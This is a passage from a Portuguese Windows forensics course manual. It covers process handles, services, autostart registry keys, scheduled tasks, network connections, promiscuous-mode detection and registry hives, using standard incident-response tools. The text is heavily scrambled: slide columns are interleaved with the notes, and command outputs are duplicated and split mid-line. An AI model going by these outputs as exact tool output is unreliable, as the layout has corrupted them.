Alm destas ferramentas, existe uma ferramenta grfica no kit de ferramentas que
permite listar as DLLs que so automaticamente injetadas em todos os processos
executados. Esta ferramenta chama-se InjectedDLL.exe

Podemos inclusive listar mais informaes sobre uma DLL clicando duas vezes
sobre ela, como no exemplo abaixo.

Anlise forense Sesso de aprendizagem 9


147

Informaes sobre arquivos abertos


Informaes sobre arquivos abertos

Arquivos abertos D:\IR\xp> handle -a -u wordpad8


csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 730: wordpa
D:\IR\xp> handle -a -u wordpad d.exe(676): 1684
csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 730: wordpad.exe(676): 1684
csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 8A0: wordpad.exe(676): 3428 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 8A0: wordpa
csrss.exe pid: 1040 NT AUTHORITY\SYSTEM AD0: wordpad.exe(676) d.exe(676): 3428
lsass.exe pid: 1124 NT AUTHORITY\SYSTEM 69C: wordpad.exe(676)
svchost.exe pid: 1576 NT AUTHORITY\SYSTEM 1390: wordpad.exe(676) csrss.exe pid: 1040 NT AUTHORITY\SYSTEM AD0: wordpa
cmdagent.exe pid: 380
wordpad.exe pid: 676
NT AUTHORITY\SYSTEM
COMPUTADOR\Usuario
4DC: wordpad.exe(676)
60:
d.exe(676)
HKCU\Software\Microsoft\Windows\ CurrentVersion\Applets\Wordpad
wordpad.exe pid: 676 COMPUTADOR\Usuario 84: wordpad.exe(676): 2812
lsass.exe pid: 1124 NT AUTHORITY\SYSTEM 69C: wordpa
wordpad.exe pid: 676 COMPUTADOR\Usuario 14C: wordpad.exe(676): 1684 d.exe(676)
wordpad.exe pid: 676 COMPUTADOR\usuario 168: wordpad.exe(676): 3428
svchost.exe pid: 1576 NT AUTHORITY\SYSTEM 1390: wor
dpad.exe(676)
cmdagent.exe pid: 380 NT AUTHORITY\SYSTEM 4DC: word
pad.exe(676)
wordpad.exe pid: 676 COMPUTADOR\Usuario 60: HKCU\So
ftware\Microsoft\Windows\ CurrentVersion\Applets\Wo
rdpad
wordpad.exe pid: 676 COMPUTADOR\Usuario 84:wordpad.
exe(676): 2812
wordpad.exe pid: 676 COMPUTADOR\Usuario 14C: wordpa
d.exe(676): 1684
wordpad.exe pid: 676 COMPUTADOR\usuario 168: wordpa
d.exe(676): 3428

Outra informao importante sobre os processos, alm das bibliotecas que eles
utilizam, relativa aos arquivos que eles mantm abertos. Um processo desco-
nhecido pode manter arquivos de logs, pipes e outros tipos de arquivos abertos
durante a execuo. importante tentar recuperar essa informao, pois isso
pode facilitar o trabalho de investigao posterior.

Podemos ver no slide todos os arquivos abertos e os processos que controlam,


alm de chaves de registro e do usurio que iniciou o processo.

Anlise forense avanada em Windows


148
Escola Superior de Redes RNP

Outra ferramenta til para ver arquivos abertos em tempo real a Filemon. Com
ela, podemos ver inclusive os acessos aos arquivos especiais do MFT, indicando
leituras ou escritas na tabela de partio.

Servios em execuo
Servios em execuo

Podemos utilizar a prpria ferramenta do Windows


Servios so programas iniciados pelo sistema
operacional para listar os servios iniciados. O problema desta
Funes: ferramenta que ela no lista mais nenhuma
Oferecer algum tipo de servio aos usurios informao sobre os servios, e isto pode no ser
Controlar algum tipo de acesso aos dispositivos suficiente para identificar um possvel servio falso
conectados
instalado por um invasor.
Por exemplo, o compartilhamento de arquivos em rede
controlado pelo servio Servidor e as conexes
com uma cmera digital ou celular so feitas pelos
respectivos servios instalados pelos drivers de
dispositivo

Servios em execuo

D:\IR\xp> net start


These Windows services are started:
Ad-Aware 2007 Service
Adobe LM Service
Application Layer Gateway Service
Ati HotKey Poller
Automatic Updates
avast! Antivirus
avast! iAVS4 Control Service
Background Intelligent Transfer Service

Podemos ver no slide os servios e comandos acei-


Servios em execuo
tos por COMPUTADOR. possvel controlar o estado
D:\IR\xp> servicelist \\COMPUTADOR de um servio com um dos comandos abaixo:
ServiceList v1.0 Copyright 1999 www.NetLatency.com
Service Name Stats
Alerter Display Name: Alerter \\net start <servio>
State: Stopped
Type: Windows Shared Process

ALG
Controls: UNKNOWN #0
Display Name: Application Layer Gateway Service
\\net stop <servio>
State: Running
Type: Windows Own Process
Controls: START
STOP
aswUpdSv Display Name: avast! iAVS4 Control Service
State: Running
Type: Windows Own Process
Desktop Interactive Process
Controls: START
STOP
SYSTEM SHUTDOWN

Anlise forense Sesso de aprendizagem 9


149

O psservice permite um controle muito maior sobre


Servios em execuo
os servios, como mostra a ajuda do comando mos-
trada no slide.
D:\IR\xp> psservice /?
PsService lists or controls services on a local or remote system.
Usage: psservice [\\Computer [-u Username [-p Password]]] <cmd> <optns>
Cmd is one of the following:
query Queries the status of a service
config Queries the configuration
setconfig Sets the configuration
start Starts a service
stop Stops a service
restart Stops and then restarts a service
pause Pauses a service
cont Continues a paused service
depend Enumerates the services that depend on the one specified
find Searches for an instance of a service on the network
security Reports the security permissions assigned to a service

Alm dos servios iniciados pelo sistema, o Windows


Servios em execuo
ainda permite a execuo automtica de progra-
mas durante a sua inicializao. Para isso, existem
Inicializao do sistema
Diversas configuraes do Windows permitem iniciar diversas configuraes possveis do sistema que
programas junto com o sistema permitem configurar um programa para iniciar
O registro um conjunto de configuraes do sistema automaticamente.
Alguns programas podem ser iniciados antes de
qualquer antivrus ou firewall
Alm do arquivo Autoexec.bat, que era utilizado
desde a poca do MS-DOS para iniciar programas, o
Windows permite a utilizao de algumas chaves de
registro para essa finalidade. O registro um con-
junto de configuraes do sistema. Vimos anterior-
mente uma ferramenta que permite fazer consultas
ao registro: reg.exe.

D:\IR\xp> reg query HKLM\Software\Microsoft\Windows


Servios em execuo \CurrentVersion\Run8
Listing of [Software\Microsoft\Windows\CurrentVersi
D:\IR\xp> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run on\\Run]
Listing of [Software\Microsoft\Windows\CurrentVersion\\Run]

REG_SZ SynTPLpr C:\Program


Files\Synaptics\SynTP\SynTPLpr.exe
REG_SZ SynTPLpr C:\Program Files\Synaptics\SynTP\Sy
REG_SZ SynTPEnh C:\Program nTPLpr.exe
Files\Synaptics\SynTP\SynTPEnh.exe
REG_SZ eabconfg.cpl C:\Program Files\HPQ\Quick Launch REG_SZ SynTPEnh C:\Program Files\Synaptics\SynTP\Sy
Buttons\EabServr.exe /Start nTPEnh.exe
REG_SZ DAEMON Tools-1033 "C:\Program Files\D-
Tools\daemon.exe" -lang 1033 REG_SZ eabconfg.cpl C:\Program Files\HPQ\Quick Laun
REG_SZ Broadcom Wireless Manager UI ch Buttons\EabServr.exe /Start
C:\WINDOWS\system32\bcmntray
REG_SZ Windows Defender "C:\Program Files\Windows REG_SZ DAEMON Tools-1033 C:\Program Files\D-Tools\
Defender\MSASCui.exe" -hide
REG_SZ COMODO Firewall Pro "C:\Program
daemon.exe -lang 1033
Files\Comodo\Firewall\CPF.exe" /background REG_SZ Broadcom Wireless Manager UI C:\WINDOWS\syst
REG_SZ avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
em32\bcmntray
REG_SZ Windows Defender C:\Program Files\Windows D
efender\MSASCui.exe -hide
REG_SZ COMODO Firewall Pro C:\Program Files\Comodo
\Firewall\CPF.exe /background
REG_SZ avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe

Uma das chaves do registro que permitem a execuo de processos na iniciali-


zao do sistema a chave HKLM\Software\Microsoft\Windows\CurrentVersion\
Run. Podemos descobrir quais programas so iniciados automaticamente com o
comando expresso no slide.

Anlise forense avanada em Windows


150
Escola Superior de Redes RNP

No exemplo temos diversos processos configurados para iniciar juntamente


com o sistema.

D:\IR\xp> autorunsc8
Servios em execuo
Autoruns v8.61 - Autostart program viewer
HKLM\System\CurrentControlSet\Control\Terminal Serv
D:\IR\xp> autorunsc
Autoruns v8.61 - Autostart program viewer
er\Wds\rdpwd\StartupPrograms
HKLM\System\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\StartupPrograms
rdpclip
rdpclip RDP Clip Monitor
RDP Clip Monitor
Microsoft Corporation Microsoft Corporation
c:\windows\system32\rdpclip.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
c:\windows\system32\rdpclip.exe
C:\WINDOWS\system32\userinit.exe HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\W
Userinit Logon Application inlogon\Userinit
Microsoft Corporation
c:\windows\system32\userinit.exe C:\WINDOWS\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr Userinit Logon Application
TouchPad Driver Helper Application Microsoft Corporation
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe c:\windows\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr
TouchPad Driver Helper Application
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe

Alm desta chave de registro, existem muitas outras que permitem a inicializao
automtica de processos. Por isso, podemos usar ferramentas como o autorunsc.
exe para listar todas as possibilidades.

Repare que ela lista diversas chaves de registro e arquivos de configurao que
permitem a execuo automtica de programas.

Esta a verso grfica da ferramenta anterior, que permite ligar ou desligar pro-
gramas que esto iniciando automaticamente.

Anlise forense Sesso de aprendizagem 9


151

Servios em execuo Finalmente, a ltima forma que estudaremos de che-


car processos que podem ser executados automati-
camente a verificao dos processos agendados.
O agendamento de tarefas permite definir uma data
D:\IR\xp> schtasks
TaskName Next Run Time Status
e hora para a execuo de um programa. Para listar
==================================== os agendamentos existentes, podemos usar a ferra-
AppleSoftwareUpdate 09:42:00, 4/2/2008
MP Scheduled Scan 01:36:00, 30/1/2008
menta schtasks.exe.

Concluses
Concluses

Na prxima sesso vamos conhecer as ferramentas


Existem muitas informaes que devem ser coletadas em
um sistema comprometido que podem ser usadas para coletar informaes
Vimos como coletar informaes bsicas sobre o sobre conexes de rede, alm de conhecer mais
sistema, e tambm como listar e identificar os processos sobre algumas caractersticas de sistemas Windows,
em execuo na mquina
como arquivos em Alternate Data Streams, logs
As bibliotecas carregadas pelos processos e os arquivos
abertos so importantes fontes de informao para de eventos e o registro do sistema, alm de ferra-
auxiliar a investigao mentas para investigar histricos de navegao na
A execuo automtica de programas uma informao internet e de recuperao de senhas.
que tambm deve ser coletada

Anlise forense avanada em Windows


152
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 9


9
Sesso de aprendizagem 9
Anlise forense avanada em Windows
Roteiro de atividades

Tpicos e conceitos

\\Identificar os processos e servios de uma estao Windows.

Competncias tcnicas desenvolvidas

\\O aluno aprender a descobrir informaes sobre o sistema Windows e


identificar processos.

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa do aluno.

Tempo previsto para as atividades

\\90 minutos
154
Escola Superior de Redes RNP

Atividade 1 Levantando informaes do sistema

Execute em sua estao os comandos, informaes bsicas do sistema,


processos em execuo e bibliotecas utilizadas, fazendo um relatrio do
que encontrar. Existem usurios suspeitos no sistema? H compartilhamento
de disco? Dos processos e bibliotecas encontrados, liste aqueles que voc
no soube identificar para que servem.

Atividade 2 Identificando processos comprometidos

1. Procure na internet mais informaes sobre os processos listados acima


como desconhecidos. Alm disso, pesquise os processos em execuo
que podem ser confundidos com programas maliciosos. Exemplo: o
processo svchost.exe pode ser confundido com diversos vrus; encontre
informaes na internet que confirmem essa informao. Relate no
somente o site onde achou a informao, mas exemplos de programas
maliciosos que podem ser confundidos com os processos do sistema.

2. Pesquise os servios instalados em sua estao. Faa um relatrio sobre


todos os programas auto-executveis, procurando na internet informaes
sobre eles, assim como foi feito no exerccio anterior.

Atividade 3 Novas ferramentas

Use o tempo restante para procurar na internet novas ferramentas que


podem ser utilizadas para conseguir outras informaes alm das que
vimos nesta sesso. Faa um relatrio dos sites que encontrar, com uma
breve descrio das ferramentas.

Anlise forense Sesso de aprendizagem 9


10
Sesso de aprendizagem 10
Anlise forense avanada em Windows
(parte 2)
Sumrio da sesso

Coleta de informaes de redes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156

Coleta de informaes em registros do Windows. . . . . . . . . . . . . . . . . . . . . . 160

Coleta de registros de eventos (logs). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164

Anlise de contedo do Recycle.Bin. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167

Anlise de contedo do Clipboard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168

Anlise de contedo de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168

Recuperao de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170

Anlise do histrico de navegao. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172

Recuperao de senhas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177

Atividade 1 Coleta de informaes de redes . . . . . . . . . . . . . . . . . . . . . . . . 178

Atividade 2 Coleta de informaes em registros do Windows. . . . . . . . . . . . 178

Atividade 3 Anlise de contedo do Recycle.Bin. . . . . . . . . . . . . . . . . . . . . . 178

Atividade 4 Recuperao de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . 178

Atividade 5 Anlise do histrico de navegao. . . . . . . . . . . . . . . . . . . . . . . 178

Atividade 6 Recuperao de senhas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179


156
Escola Superior de Redes RNP

Coleta de informaes de redes


Coleta de informaes de redes

Conexes de rede
importante notar as informaes sobre as con-
So evidncias volteis figuraes de IP de todas as interfaces de rede,
Podem dar pistas sobre a origem dos invasores
incluindo aquelas que forem interfaces wireless. Alm
Podem dar dicas sobre possveis vazamentos de informao ou mau
uso do sistema disso, importante notar se a mquina possui um IP
Existem dois tipos de informao importantes de coletar: configurado estaticamente ou se usa DHCP para se
Conexes ativas, ou seja, aquelas que esto acontecendo no
momento atual auto-configurar.
Portas abertas, ou os servios que a mquina est oferecendo
publicamente
O investigador deve comparar a sada de diversos comandos Por fim, tambm necessrio anotar todos os ende-
diferentes, pois os rootkits costumam esconder informaes reos MAC das placas instaladas no computador,
sobre conexes de redes e portas abertas.
para correlacionar posteriormente estas informaes
com logs externos.

D:\IR\xp> ipconfig /all8


Coleta de informaes de redes Windows IP Configuration
Host Name . . . . . . . . . . . : COMPUTADOR
Conexes de rede Primary Dns Suffix . . . . . . . :
D:\IR\xp> ipconfig /all Node Type . . . . . . . . . . . : Hybrid
Windows IP Configuration
Host Name . . . . . . . . . . . . : COMPUTADOR
Primary Dns Suffix . . . . . . . :
IP Routing Enabled. . . . . . . : No
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : provedor.com.br
Ethernet adapter Wireless Network Connection 2:
DNS Suffix Search List. . . . . .: provedor.com.br
Connection-specific DNS Suffix . : provedor.com.br
Description . . . . . . . . . . . : Broadcom 802.11b/g WLAN Ethernet adapter Wireless Network Connection 2:
Physical Address. . . . . . . . . : 00-90-4B-EA-0F-F3
Dhcp Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Connection-specific DNS Suffix . : provedor.com.br
IP Address. . . . . . . . . . . . : 192.168.0.194
Subnet Mask . . . . . . . . . . . : 255.255.255.0 Description . . . . . . . . . . : Broadcom 802.11
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1 b/g WLAN
DNS Servers . . . . . . . . . . . : 192.168.0.10
192.168.0.1
Lease Obtained. . . . . . . . . . : quarta-feira, 30 de janeiro de 2008
Physical Address. . . . . . . . : 00-90-4B-EA-0F-F3
16:42:06
Lease Expires . . . . . . . . . . : quarta-feira, 6 de fevereiro de
2008 16:42:06
Dhcp Enabled. . . . . . . . . . : Yes
Autoconfiguration Enabled . . . .:Yes
IP Address. . . . . . . . . . . : 192.168.0.194
Subnet Mask . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 192.168.0.10
192.168.0.1
Lease Obtained. . . . . . . . . . : quarta-feira,
30 de janeiro de
2008 16:42:06
Lease Expires . . . . . . . . . . : quarta-feira, 6
de fevereiro de
2008 16:42:06

D:\IR\xp> iplist8
Coleta de informaes de redes
DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au)
# ADDRESS BROADCAST NETMASK
Conexes de rede -1040144192 192.168.0.194 255.255.255.255 255.2
55.255.0
D:\IR\xp> iplist
DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au) 16777343 127.0.0.1 255.255.255.255 255.0
# ADDRESS BROADCAST NETMASK .0.0
-1040144192 192.168.0.194 255.255.255.255 255.255.255.0 19900608 192.168.47.1 255.255.255.255 255.2
16777343 127.0.0.1 255.255.255.255 255.0.0.0 55.255.0
19900608 192.168.47.1 255.255.255.255 255.255.255.0
3 interfaces found. 3 interfaces found.

A ferramenta IPLIST, presente no kit, permite listar


apenas as configuraes de IP para as interfaces
configuradas no sistema.

Anlise forense Sesso de aprendizagem 10


157

D:\IR\xp> netstat na8


Coleta de informaes de redes

Conexes de rede Podemos ver no slide algumas conexes estabelecidas


e outras que foram fechadas, embora ainda no tenham
D:\IR\xp> netstat -na
Active Connections
Proto Local Address Foreign Address State
ultrapassado o tempo de tcp timeout. Esta uma
TCP
TCP
0.0.0.0:135
0.0.0.0:445
0.0.0.0:0
0.0.0.0:0
LISTENING
LISTENING caracterstica das conexes TCP, que pode ser til para
TCP 127.0.0.1:1096 127.0.0.1:1097 ESTABLISHED
TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED capturar tambm conexes que j foram fechadas.
TCP 127.0.0.1:12025 0.0.0.0:0 LISTENING
TCP 192.168.0.194:2355 64.233.171.104:80 LAST_ACK
TCP 192.168.0.194:2395 66.249.83.19:443 CLOSE_WAIT
UDP
UDP
0.0.0.0:445
0.0.0.0:500
*:*
*:* Verificamos tambm no slide alguns servios ofereci-
...
dos pelo protocolo UDP.

D:\IR\xp> netstat -nbv8


Coleta de informaes de redes
Active Connections
TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED 2512
Conexes de rede
C:\WINDOWS\system32\mswsock.dll
D:\IR\xp> netstat -nbv C:\WINDOWS\system32\WS2_32.dll
Active Connections
TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED C:\Program Files\Mozilla Firefox\nspr4.dll
2512
C:\WINDOWS\system32\mswsock.dll C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\WINDOWS\system32\WS2_32.dll
C:\Program Files\Mozilla Firefox\nspr4.dll C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\xpcom_core.dll
-- unknown component(s) --
C:\Program Files\Mozilla Firefox\xpcom_core.dll
[firefox.exe] -- unknown component(s) --
...
[firefox.exe]
...

Outra forma de usar o comando netstat.exe permite


Coleta de informaes de redes
que sejam listados os processos associados a cada
Conexes de rede conexo, informao importante que difere da verso
D:\IR\xp> openports Unix do comando. Esta verso do netstat.exe permite
DiamondCS OpenPorts v1.0 (-? for help)
SYSTEM [4]
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
listar toda a pilha de processos que esto associadas
UDP 192.168.47.1:138 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445
UDP 192.168.0.194:1900
0.0.0.0:0
0.0.0.0:0
LISTENING svchost.exe [380]
LISTENING MsnMsgr.Exe [884]
a uma conexo.
TCP 192.168.0.194:1074 207.46.109.93:1863 ESTABLISHED
UDP 192.168.0.194:46759 0.0.0.0:0 LISTENING wmplayer.exe [984]
UDP 127.0.0.1:2617 0.0.0.0:0 LISTENING lsass.exe [1144]
TCP 127.0.0.1:1101
TCP 127.0.0.1:1102
127.0.0.1:1102
127.0.0.1:1101
ESTABLISHED
ESTABLISHED
Normalmente, somente o processo que abriu a
TCP 192.168.0.194:2670 66.249.83.83:443 CLOSE_WAIT
TCP 127.0.0.1:1097
TCP 127.0.0.1:1096
127.0.0.1:1096
127.0.0.1:1097
ESTABLISHED
ESTABLISHED
conexo listado. Podemos ver entre colchetes, no
TCP 192.168.0.194:2668 66.249.83.19:443 ESTABLISHED
fim da listagem, o nome do processo que solicitou
a criao da conexo, mas tambm podemos ver
acima toda a pilha de processos utilizada para criar
a conexo, at chegar na pilha TCP/IP.

Esta uma informao importante, pois permite detectar a presena de proces-


sos estranhos que estejam interceptando a criao de conexes e, com isso,
capazes de capturar informaes confidenciais.

D:\IR\xp> openports8
DiamondCS OpenPorts v1.0 (-? for help)
SYSTEM [4]
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

Anlise forense avanada em Windows (parte 2)


158
Escola Superior de Redes RNP

UDP 192.168.47.1:138 0.0.0.0:0 LISTENING


UDP 0.0.0.0:445 0.0.0.0:0 LISTENING svchost.exe [380]
UDP 192.168.0.194:1900 0.0.0.0:0 LISTENING MsnMsgr.Exe [884]
TCP 192.168.0.194:1074 207.46.109.93:1863 ESTABLISHED
UDP 192.168.0.194:46759 0.0.0.0:0 LISTENING wmplayer.exe [984]
UDP 127.0.0.1:2617 0.0.0.0:0 LISTENING lsass.exe [1144]
TCP 127.0.0.1:1101 127.0.0.1:1102 ESTABLISHED
TCP 127.0.0.1:1102 127.0.0.1:1101 ESTABLISHED
TCP 192.168.0.194:2670 66.249.83.83:443 CLOSE_WAIT
TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED
TCP 127.0.0.1:1096 127.0.0.1:1097 ESTABLISHED
TCP 192.168.0.194:2668 66.249.83.19:443 ESTABLISHED

Vemos novamente os processos associados s portas abertas, mas este


comando no faz o mapeamento completo de portas para processos.

D:\IR\xp> fport8
Coleta de informaes de redes
FPort v2.0 - TCP/IP Process to Port Mapper
Pid Process Port Proto Path
Conexes de rede
1364 -> 135 TCP
D:\IR\xp> fport
FPort v2.0 - TCP/IP Process to Port Mapper
4 System -> 139 TCP
Pid
1364
Process Port
-> 135
Proto Path
TCP
4 System -> 445 TCP
4 System -> 139 TCP 2156 -> 1025 TCP
4 System -> 445 TCP
2156 -> 1025 TCP 884 MsnMsgr -> 1074 TCP C:\Program Files
884 MsnMsgr -> 1074 TCP C:\Program Files\MSN
Messenger\MsnMsgr.Exe \MSN Messenger\MsnMsgr.Exe
2512 firefox -> 1096 TCP C:\Program Files\Mozilla
Firefox\firefox.exe 2512 firefox -> 1096 TCP C:\Program Files
2512 firefox -> 1097
Firefox\firefox.exe
TCP C:\Program Files\Mozilla \Mozilla Firefox\firefox.exe
2512 firefox -> 1101
Firefox\firefox.exe
TCP C:\Program Files\Mozilla 2512 firefox -> 1097 TCP C:\Program Files
... \Mozilla Firefox\firefox.exe
2512 firefox -> 1101 TCP C:\Program Files
\Mozilla Firefox\firefox.exe
...

Temos agora informaes sobre conexes de rede abertas e servios oferecidos


pela mquina. Dependendo do incidente, estas informaes podem comprovar ou
auxiliar na identificao dos responsveis.

Anlise forense Sesso de aprendizagem 10


159

Alm das ferramentas de comando de linha estudadas, ainda existem duas ferra-
mentas com interface grfica que podem ser utilizadas para coletar informaes
sobre conexes de rede.

Uma delas j foi vista na sesso passada: trata-se da ferramenta procexp.exe.


Ela permite visualizar propriedades sobre um processo em execuo; entre estas
propriedades esto as conexes de rede utilizadas pelo processo.

Outra ferramenta que tambm permite visualizar este tipo de informao cha-
mada cports.exe. Ela contm muitas informaes interessantes sobre os proces-
sos que esto mantendo conexes abertas. Execute a ferramenta em sua estao
e examine as colunas de informao para cada processo.

D:\IR\xp> promiscdetect8
Coleta de informaes de redes
Adapter name:
- Broadcom 802.11b/g WLAN
Conexes de rede Active filter for the adapter:
D:\IR\xp> promiscdetect - Directed (capture packets directed to this comput
Adapter name:
- Broadcom 802.11b/g WLAN er)
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups t
- Multicast (capture multicast packets for groups the computer is a member of) he computer is a member of)
- Broadcast (capture broadcast packets)
- Promiscuous (capture all packets on the network)
- Broadcast (capture broadcast packets)
WARNING: Since this adapter is in promiscuous mode there could be a sniffer
running on this computer!
- Promiscuous (capture all packets on the network)
Adapter name:
WARNING: Since this adapter is in promiscuous mode
- Realtek RTL8139/810x Family Fast Ethernet NIC there could be a sniffer running on this computer!
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups the computer is a member of) Adapter name:
- Broadcast (capture broadcast packets)
- Realtek RTL8139/810x Family Fast Ethernet NIC
Active filter for the adapter:
- Directed (capture packets directed to this compu
ter)
- Multicast (capture multicast packets for groups
the computer is a member of)
- Broadcast (capture broadcast packets)

Uma informao que pode ser uma indicao forte de que a mquina foi comprometida
o fato de alguma de suas interfaces de rede estar funcionando em modo promscuo.

Este tipo de funcionamento faz com que o driver de rede associado interface
capture todos os pacotes que passem pela rede, mesmo aqueles que no so
direcionados prpria mquina. Com isso, possvel monitorar todo o trfego de
rede, coletando informaes confidenciais como senhas e logins, entre outras.

Para detectar a presena de alguma interface de rede em modo promscuo, existe


uma ferramenta no kit chamada promiscdetect.exe.

Vemos no slide que uma das interfaces est configurada para funcionar em modo
promscuo, e com isso capturar todos os pacotes que passam pela rede, o que
pode ser indicativo da presena de um sniffer, e quase certamente do comprome-
timento da mquina.

Anlise forense avanada em Windows (parte 2)


160
Escola Superior de Redes RNP

Coleta de informaes em registros do


Coleta de informaes em registros do
Windows
Windows
Registro do Windows
Uma das caractersticas que diferenciam a coleta de evidncias Os arquivos de registro em um sistema Windows XP
em Linux e Windows
esto localizados em C:\windows\system32\config.
Base hierrquica e centralizada de dados utilizada pelo
Windows para armazenar informaes necessrias para a Estes arquivos no podem ser copiados normal-
configurao do sistema (para um ou mais usurios), mente. Para isso devemos utilizar uma ferramenta. A
aplicaes e dispositivos de hardware
O registro um arquivo binrio de dados utilizao da ferramenta regedit.exe faz com que os
Para poder acessar os dados neste arquivo, devemos exportar dados presentes nos arquivos SAM e SECURITY no
o registro em formato de texto ou utilizar ferramentas que
permitam realizar consultas no registro fiquem visveis.
A ferramenta mais utilizada o regedit.exe da prpria Microsoft
Existe um arquivo adicional de registro chamado
NTUSER.DAT, localizado no diretrio do usurio, em C:\
Documents and Settings\, que possui todas as configu-
raes pessoais do usurio.

Registros e respectivas funes:


Coleta de informaes em registros do
Windows \\DEFAULT Armazena todas as informaes
Registro do Windows
originais do usurio.
Localizado em C:\windows\system32\config
Registro Funo \\SAM Armazena informaes do servio Security
DEFAULT Armazena todas as informaes originais do
usurio. Accounts Manager.
SAM Armazena informaes do servio Security
Accounts Manager.
\\SECURITY Armazena informaes de
SECURITY Armazena informaes de segurana.
SOFTWARE Armazena informaes sobre os aplicativos e
segurana.
operao.
\\SOFTWARE Armazena informaes sobre os
SYSTEM Armazenas informaes sobre o hardware da
mquina. aplicativos e operao.

\\SYSTEM Armazenas informaes sobre o


hardware da mquina.

Conforme mencionamos, o registro do Windows


Coleta de informaes em registros do
uma base de dados hierrquica composta de chaves
Windows
(keys) e valores (values).
Chaves de registro
HKEY_CURRENT_USER
HKEY_USERS No campo de valores est representada a informao
HKEY_LOCAL_MACHINE armazenada no registro. O campo de valores pode pos-
HKEY_CLASSES_ROOT suir os seguintes formatos: string, binary e DWORD.
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
Contm as informaes de configurao do usurio.

HKEY_USERS
Contm o perfil dos usurios do computador.

HKEY_LOCAL_MACHINE
Contm as informaes especficas do computador
relacionadas com hardware e software.

Anlise forense Sesso de aprendizagem 10


161

HKEY_CLASSES_ROOT
Contm informaes sobre as associaes de arquivos.

HKEY_CURRENT_CONFIG
Contm as informaes do perfil do hardware do computador.

As chaves do registro podem ter seu nome abreviado, o que facilita a execuo
de uma busca pelo comando de linha:
HKEY_LOCAL_MACHINE: HKLM
HKEY_CLASSES_ROOT: HKCR
HKEY_CURRENT_USER: HKCU
HKEY_USERS: HKU
HKEY_CURRENT_CONFIG: HKCC

\\REG_BINARY Dados binrios no-processados.


Coleta de informaes em registros do Grande parte das informaes do componente de
Windows hardware armazenada como dado binrio e exibida
em formato hexadecimal no Editor do Registro.
REG_BINARY Dados binrios no-processados.

REG_DWORD Dados representados por um nmero de 4 bytes.

REG_EXPAND_SZ Seqncia de dados com extenso varivel.


REG_MULTI_SZ Uma seqncia mltipla. \\REG_DWORD Dados representados por um
REG_SZ Seqncia de texto com extenso fixa. nmero de 4 bytes. Muitos parmetros para
REG_RESOURCE_LIST Srie de matrizes para armazenar lista de recursos usada por
driver de dispositivo de hardware ou pelos dispositivos fsicos
controlados por ele. drivers e servios de dispositivos apresentam
REG_RESOURCE_REQUIREMENTS_LIST Srie de matrizes para armazenar lista de drivers de dispositivo
de hardware. esse tipo e so exibidos no Editor do Registro em
REG_FULL_RESOURCE_DESCRIPTOR Srie de matrizes para armazenar lista de drivers de dispositivo
de hardware. formato binrio, hexadecimal ou decimal.
REG_NONE Dados sem um tipo especfico.

\\REG_EXPAND_SZ Seqncia de dados com


REG_LINK Uma seqncia Unicode que nomeia um link simblico.
REG_QWORD Dados representados por um nmero que seja um inteiro de 64
bytes.
